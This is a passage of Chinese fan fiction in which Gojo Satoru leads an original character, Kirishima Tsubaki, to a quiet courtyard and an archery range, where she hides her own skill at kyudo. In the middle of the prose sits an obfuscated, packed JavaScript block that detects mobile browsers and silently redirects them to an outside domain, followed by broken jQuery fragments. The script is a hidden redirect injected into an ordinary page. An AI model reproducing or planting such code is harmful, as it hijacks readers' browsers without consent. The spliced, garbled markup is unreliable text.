雾岛椿静静地跟在五条悟身后,她抬起眼,目光极轻地落在五条悟宽阔挺拔的背脊上。那目光依旧缺乏温度,却似乎凝聚起了一点极其微弱的焦点。
直到此刻,她才恍然意识到,五条悟的身形原来如此高大。
当他收敛起所有嬉笑闹腾,沉默地立于前方时,一种无形却切实存在的威压便会自然而然地弥散开来。原来他真正不悦时,所带来的压迫感竟如此慑人。
不喜欢她又如何,比起她,他们好像更让五条悟讨厌。
也就只能委屈他们把对她所有的意见统统吞进肚子里了。
意识到这一点的雾岛椿嘴角极其轻微地向上弯了一下,眼中沉淀许久的冰封之下,似乎有一丝极细微的、连她自己都未曾察觉的异样情绪,悄然流转而过。
所以……
咒术界封建贵族中的那一股清流不是五条家,而是五条悟。
想到这里,她突然开口。
“悟。”
“嗯?”
“你好像有点反常。”此刻的雾岛椿心里痒痒的,忍不住想逗他。
“哈?”五条悟脚步一顿,猛地回头,墨镜滑到鼻尖,苍蓝色的眼睛里写满了“何出此言”的惊奇。
“刚刚,是在帮我解围吧。”她的语气很确定。
“什么啊……你想多了!”白毛少年就像被戳中心事一样,身上那股威慑感褪去,掩盖性地举起手抓了抓头发,“我只是觉得他们太啰嗦了而已,才不是为了你。”
“但你并不是一个会用身份和地位威压别人的人。”
一直以来,他从来没在任何人面前提起过他是五条家家主的事情,甚至,连五条家都很少提起。
“这是在夸奖我吗?”五条悟闻言,像是听到了什么有趣的话,他嘴角带着得意的笑,煞有其事地点点头,“如果是的话我就勉强接受啦!”
“这是事实。”雾岛椿淡然一笑,突然提起,“说起来,悟开学那天,慌慌张张的样子是为了躲五条家吧。”
“是啊,超~烦的!”五条悟想起那个场景,嫌弃地说,“一群人非要搞什么隆重的护送,还要拉横幅!‘恭喜悟少爷入学’?土死了,我才不要那样的排场,而且肯定会被你们笑话的!”
“绝对!所以我就提前甩掉了。”
即便不同意五条悟入学高专,也还是要风风光光地送他入学吗?
雾岛椿想象了一下那个画面,忍俊不禁,“其实……还挺有趣的。”
正因如此,她才会说他不是这样的人。
虽不喜五条家的迂腐陈规,但他更偏爱用各种离经叛道、耍赖撒娇、甚至直接玩消失的方式来进行他迂回而任性的反抗。
那是独属于五条悟的、孩子气却有效的反抗方式。
一种不会显得自己很高高在上的、亲近如普通人的方式。
真是越了解他,就越能给人带来惊喜。
在这样极度宠爱并且等级森严的封建贵族中,成长起来的却是一个张弛有度、心思细腻、不喜欢让人有负担的少年。拥有极致的力量却诞生了一颗珍贵的平常心,这或许比他所有的术式,都更为惊人。
没有大少爷的傲慢,不接受任何的规训,挣脱了世俗的框架,回归到最本真的自我,最后——
成为了五条悟。
从而成就了一个真正自由的、有趣的灵魂。
这才是她的目光迟迟无法从他身上移开的真正理由。
以前的她每时每刻都被社会规则、他人眼光、自身能力所限制,从而活在很多“不得已”中,所以,她才会被这样耀眼的五条悟所吸引。
“哪里有趣了?”
五条悟嘴里不满地嘟囔着,径自带着她穿过层层回廊,最后来到一处雅致却略显偏僻的侧院。
“喏,这里他们一般不过来,烦不到你。”他拍了拍手,像是完成了一件大事,“缺什么直接用咒力敲一下这个。”他伸手给了她一个小巧的铃铛状咒具,“我会听到。”
雾岛椿细细观察着手里的铃铛,外表很精致小巧,顶端被两根红色丝带像藤蔓一样缠绕着。
轻轻拨弄,并没有发出铃铛该有的声音。
这是……只有注入咒力才能敲响的铃铛,是一个高级咒具,并且是和她送给五条悟那个墨镜同等级别的咒具。
他还真是,一点亏也不让别人吃啊。雾岛椿无奈地感叹。
见她接过,五条悟转身就要走,似乎打算继续回去练习弓道,毕竟他身上那身纯白的弓道服还未换下,束袖的纽扣甚至都还严谨地系着。
就在他转身的刹那,雾岛椿极轻地开口,声音依旧平淡,却似乎不再是完全的虚无,裹着一丝极细微的、难以捕捉的期待。
“悟。”
“嗯?”五条悟闻声回头,墨镜后的眉毛微微挑起。
“你不是说,要带我玩游戏吗?”雾岛椿仰起脸,唇角弯起一个清浅却真实的弧度。
“啊,那个啊!”五条悟像是才想起来,随意地挥了挥手,“游戏机和盘都塞你房间里了,你自己先去玩着。我还得回去再练一会儿,今天的练习量还没达标呢。”
雾岛椿几乎是没有任何迟疑地接话,语气自然得像是在说今天天气不错,“我可以去看吗?”
“哦?”五条悟脸上瞬间浮现出他特有的、带着点玩味和夸张的戏谑表情,他微微俯身,凑近了些,仿佛发现了什么新奇事物,“怎么?椿也对这种老古董的运动感兴趣了?”
雾岛椿点了点头,目光落在他一身利落的弓道服上,语气诚恳,“嗯,感觉很酷。”
“很酷”这两个字像是瞬间按下了五条悟身上的某个开关。他几乎立刻自动在脑内完成了逻辑转换——椿说弓道酷 ≈椿在夸我穿弓道服很酷 ≈椿在夸我本人超酷!
“哼哼~”他得意地哼笑两声,毫不犹豫地摘下了小圆墨镜,露出一双熠熠生辉的苍蓝色眼眸,甚至还特意摆了个略显浮夸的姿势,大大方方地展示着自己挺拔的身姿,“那当然!主要是因为练习的人够帅!”
自卖自夸完毕,他重新戴好墨镜,用一副“真拿你没办法”的施舍语气说道,“既然你这么想看,那就勉强准你旁观吧~不过先说好,”他伸出食指,故作严肃地晃了晃,“到时候要是觉得枯燥无聊想临阵脱逃,我可是不会放人的哦!”
雾岛椿摇了摇头,声音不大却异常清晰,“不会枯燥的。”
她顿了顿,抬眼对上他那副“快继续夸我”的期待表情,难得地顺着他的调子,带着一丝几不可察的调侃轻声道:
“毕竟,全能的悟在弓道上也一定是全能的,一定会超级帅气。”
“那是当然!!”五条悟立刻被这句精准投喂的“奉承”取悦,尾巴几乎要翘到天上去,他心情极佳地再次勾勾手指,“跟紧点喽,特等席只开放这一次~”
五条悟领着雾岛椿穿过几条回廊,来到一处极为开阔的露天弓道场。场地铺着洁净的白沙,在刺眼的光线下泛着温暖的光泽,远处箭靶的黑影静静伫立,氛围肃穆而宁静。
“哦——就是这里了,”五条悟低头看向身边的少女,向前几步拿起摆放在墙边的弓,豪迈地递了过去,勾起唇角向她发出邀请,“椿要试试吗?”
雾岛椿看了看他手里的弓,摇头拒绝道,“不了,我不会。”
五条悟被拒绝也没再接着问,而是一脸果然如此的表情,“其实,椿就是特意来看我的吧。”
想法被戳穿,椿并没有反驳,反而说,“对啊,所以你要拿出全部的实力,要让我看个爽才行!”
“哈?”五条悟拿出箭,一脸自信,“可别小看我啊,就算只用我实力的的五分之一,也足够了。”
话虽如此,但他的行为和话语显然不相符合。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522529|184871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
五条悟踏上射位,原本周身那股玩世不恭的气息瞬间收敛。
他调整呼吸,身姿如松,挽弓搭箭的动作流畅而标准,带着一种古老仪式般的庄重感。白色的弓道服在风中微微拂动,更衬得他身姿挺拔,竟有几分不食人间烟火的清贵之气。
咻——!
箭矢破空,带着凌厉的气势,精准无比地没入远处的靶心。
紧接着,第二箭,第三箭……箭无虚发,皆正中红心。
雾岛椿安静地站在一旁阴影里看着。
她知道,他这一连串标准到堪称范本的动作里,多少存了点故意耍帅的心思。可即便如此,她还是不由自主地被吸引了目光。尤其是他引弓专注凝视前方的那片刻,眉眼间褪去了所有戏谑,只剩下全然的沉浸与认真,那种近乎虔诚的专注力,是她极少在他身上看到的。
“怎么样?是不是完美得不像话?”他几乎是射完最后一箭的瞬间就转过了头,脸上那点装出来的严肃瞬间垮掉,换上了“快夸我快夸我”的得意表情,墨镜滑到鼻尖,苍蓝色的眼睛眨呀眨,像个迫不及待展示新玩具的大型犬。
“我可是连这种老古董玩意儿都能玩成艺术的人哦!”
他似乎很愉悦,对着一旁的少女粲然一笑。
雾岛椿怔愣一瞬。
直到五条悟嘚瑟地凑到她面前,大手在她眼前胡乱晃悠,拖长了调子嚷嚷,“喂喂~回神啦椿!被我的帅气迷晕了吗?”
她猛地回过神,脸上不见丝毫羞赧,反而顺势迎上他那双亮得过分的苍蓝色眼睛,语气平淡地抛出请求:“悟,可以教我吗?”她顿了顿,声音里掺入一丝极细微的、恰到好处的低落,“以前没玩过这个,多少有点遗憾。”
“OK~完全没问题!”五条悟答得飞快,尾巴几乎要翘到天上去,脸上写满了“包在我身上”的张扬,“悟氏独家教学,保管让你学完立刻变得跟我一样酷毙了——!”
他兴致意外地高昂,看来并不觉得麻烦。雾岛椿心想。
五条悟长腿一迈,从架子上随手捞起一把和弓,递到她面前,墨镜后的眼睛弯起,带着点不怀好意的狡黠,“来来,先射一箭看看水准~让我看看从哪里开始教比较好嘛!”
显然没想到他会提出这样的要求,雾岛椿一时不知道该怎么回答。
毕竟她撒谎了,其实她以前学过,而且还非常精通。
雾岛家以前有位死对头,世仇,祖祖辈辈都在暗中较劲,实力不相上下,到她父亲这辈家族渐渐没落,雾岛家从此被踢出比赛。
只剩下她父亲还不愿意接受现实,一直暗中较劲,其中就包括逼着她学习弓道,只为在每年与死对头那家精通弓道的“才女”的可笑比拼中,勉强维持雾岛家摇摇欲坠的颜面。
她很有价值,至少很多次都没让雾岛家丢脸,但赢得了第一不会有奖励,可要是比赛途中发病导致输了的情况,那她将迎来严厉的苛责和永无止境的“不够好”“废物”。
她不喜欢弓道,毫无乐趣可言。
但看着眼前的白毛少年在场上神采奕奕的样子,她又重新好奇起来。
她想要重新学一遍。
她想要体会五条悟的乐趣。
“可是我连基础都不会,必须要先试试吗?”雾岛椿尝试为自己争取。
她也不知道自己为什么撒谎,她只知道如果自己同意“先射一箭看看水准”这个要求,那她撒的慌一定会被五条悟识穿,没有人能逃过他的捕捉。
“欸——?!不可以啦,一名优秀的老师往往都懂的因材施教,你不先试试我怎么知道最适合你的教学方法是什么,你说是吧?”
他说的很有道理,表情也没有问题,但椿就是有一种不妙的预感,可她已经没有借口可以用来推脱。
雾岛椿几不可察地停顿了一瞬,随即自然接过,“好啊。”